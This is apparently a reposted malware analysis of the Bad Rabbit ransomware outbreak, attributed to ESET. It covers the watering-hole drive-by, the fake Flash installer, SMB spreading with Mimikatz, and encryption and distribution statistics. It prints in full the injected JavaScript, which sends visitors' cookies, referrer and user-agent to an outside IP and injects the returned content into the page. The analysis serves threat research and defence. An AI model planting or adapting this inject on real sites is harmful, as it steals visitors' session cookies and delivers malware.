A new ransomware outbreak today and has hit some major infrastructure in Ukraine including Kiev metro. Here are some of the details about this new variant.
Drive-by download via watering hole on popular sites
One of the distribution method of Bad Rabbit is via drive-by download. Some popular websites are compromised and have JavaScript injected in their HTML body or in one of their .js file.
Here is a beautified version of the inject:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
function e(d) {
var xhr = null;
if (!!window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else if (!!window.ActiveXObject) {
var xhrs = [‘Microsoft.XMLHTTP’, ‘Msxml2.XMLHTTP’, ‘Msxml2.XMLHTTP.3.0’, ‘Msxml2.XMLHTTP.6.0’];
for (var i = 0; i < xhrs.length; i++) {
try {
xhr = ActiveXObject(xhrs[i]);
break;
} catch (e) {}
}
}
if (!!xhr) {
xhr.open(‘POST’, ‘https://185.149.120\.3/scholargoogle/’);
xhr.timeout = 10000;
xhr.setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
var resp = xhr.responseText;
if (resp) {
var fans = JSON.parse(resp);
if (fans) {
var an_s = decodeURIComponent(fans.InjectionString).replace(/\+/g, ‘%20’);
var da = document.createElement(‘div’);
da.id = ‘ans’;
da.innerHTML = an_s;
document.body.appendChild(da);
}
}
}
};
var pd = [];
for (var k in d) {
if (d.hasOwnProperty(k)) {
pd.push(k + ‘=’ + d[k]);
}
}
var dc = pd.join(‘&’);
xhr.send(dc);
}
}
e({
‘agent’: navigator.userAgent,
‘referer’: document.referrer,
‘cookie’: document.cookie,
‘domain’: window.location.hostname,
‘c_state’: !!document.cookie
});
|
This script reports the following to 185.149.120[.]3, which doesn’t seem to respond at the moment.
- Browser User-Agent
- Referrer
- Cookie from the visited site
- Domain name of the visited site
Server side logic can determine if the visitor is of interest and then add content to the page. In that case, what we have seen is that a popup asking to download an update for Flash Player is shown in the middle of the page.
When clicking on the “Install” button, download of an executable file from 1dnscontrol[.]com is initiated. This executable file, install_flash_player.exe is the dropper for Win32/Filecoder.D.
Finally the computer is locked and show the ransom note:
The payment page:
Spreading via SMB
Win32/Diskcoder.D has the ability to spread via SMB. As opposed to some public claims, it does notuse the EthernalBlue vulnerability like the Win32/Diskcoder.C (Not-Petya) outbreak. First, it scans internal network for open SMB shares. It looks for the following shares:
- admin
- atsvc
- browser
- eventlog
- lsarpc
- netlogon
- ntsvcs
- spoolss
- samr
- srvsvc
- scerpc
- svcctl
- wkssvc
Mimikatz is launched on the compromised computer to harvest credentials. A hardcoded list username and password is also present.
When working credentials are found, the infpub.dat file is dropped into the Windows directory and executed trough SCManager and rundll.exe.
Encryption
Win32/Diskcoder.D is modified version of Win32/Diskcoder.C. Bugs in file encryption were fixed. The encryption now uses DiskCryptor, an open source legitimate software used to do full drive encryption. Keys are generated using CryptGenRandom and then protected by hardcoded RSA 2048 public key.
Encrypted files have extension .encrypted. Like before, AES-128-CBC i used.
Distribution
Interestingly, ESET telemetry shows that Ukraine accounts only for 12.2% of the total number of times we have seen the dropper component Here are the statistics:
- Russia: 65%
- Ukraine: 12.2%
- Bulgaria: 10.2%
- Turkey: 6.4%
- Japan: 3.8%
- Other: 2.4%
This pretty much match the distribution of compromised websites that include the malicious JavaScript. So why Ukraine seems to be more hit than the rest?
It’s interesting to note that all these big compagnies were all hit at the same time. It is possible that the group already had foot inside their network and launched the watering hole attack at the same time as a decoy. Nothing says they fell for the “Flash update”. ESET is still investigating and we will post our finding as we discover them.
Source:https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/
Working as a cyber security solutions architect, Alisa focuses on application and network security. Before joining us she held a cyber security researcher positions within a variety of cyber security start-ups. She also experience in different industry domains like finance, healthcare and consumer products.